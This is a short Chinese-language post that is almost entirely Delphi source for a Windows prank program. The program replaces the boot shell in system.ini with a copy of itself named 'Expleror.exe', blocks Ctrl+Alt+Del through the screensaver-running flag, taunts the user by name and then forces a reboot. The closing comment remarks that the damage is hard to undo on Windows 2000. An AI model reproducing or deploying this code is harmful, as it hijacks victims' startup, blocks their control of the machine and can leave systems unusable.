代码如下:<br>unit Unit1;<br> <br>interface<br> <br>uses<br> Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br> StdCtrls, ComCtrls, ExtCtrls;<br> <br>type<br> TForm1 = class(TForm)<br> Label1: TLabel;<br> Label2: TLabel;<br> Timer1: TTimer;<br> ProgressBar1: TProgressBar;<br> procedure FormCreate(Sender: TObject);<br> procedure Timer1Timer(Sender: TObject);<br> <br> private<br> { Private declarations }<br> public<br> { Public declarations }<br> end;<br> <br>var<br> Form1: TForm1;<br> <br>implementation<br> <br>{$R *.DFM}<br> <br> <br> <br>function myGetWindowsDirectory : String;<br>var<br> pcWindowsDirectory : PChar;<br> dwWDSize : DWORD;<br>begin<br> dwWDSize := MAX_PATH + 1;<br> <br> result:='';<br> GetMem(pcWindowsDirectory, dwWDSize );<br> try<br> if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0 then<br> Result := pcWindowsDirectory;<br> finally<br> FreeMem( pcWindowsDirectory );<br> end;<br>end;<br> <br> <br> <br> <br> <br>function GetUserName: AnsiString;<br>var <br> lpName: PAnsiChar;<br> lpUserName: PAnsiChar;<br> lpnLength: DWORD;<br>begin <br> Result := '';<br> lpnLength := 0;<br> WNetGetUser(nil, nil, lpnLength); // 取得字串长度<br> if lpnLength > 0 then<br> begin<br> GetMem(lpUserName, lpnLength);<br> if WNetGetUser(lpName, lpUserName, lpnLength) = NO_ERROR then<br> Result := lpUserName;<br> FreeMem(lpUserName, lpnLength);<br> end;<br>end;<br> <br><br>procedure TForm1.FormCreate(Sender: TObject);<br>begin<br> <br> WritePrivateProfileString('boot', 'shell', 'Expleror.exe', 'system.ini');<br> label1.caption:=GetUserName+',你上当了!';<br> label2.caption:='正在关机初始化,请稍后:';<br> SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0);<br> copyfile(pchar(application.exename),pchar(myGetWindowsDirectory+'/expleror.exe'),false);<br>end;<br> <br>procedure TForm1.Timer1Timer(Sender: TObject);<br>begin<br> if progressbar1.position=100 then<br> begin<br> PostMessage(form1.Handle, WM_KEYDOWN, VK_TAB, 0);<br> ExitWindowsEx(EWX_REBOOT,0);<br> end<br> else<br> progressbar1.position:=progressbar1.position+1;<br>end;<br> <br>end.<br><br> <br>这个程序在win98下很容易恢复,可是到了win2000下,因为找不到shell的位置,所以。。。。<br>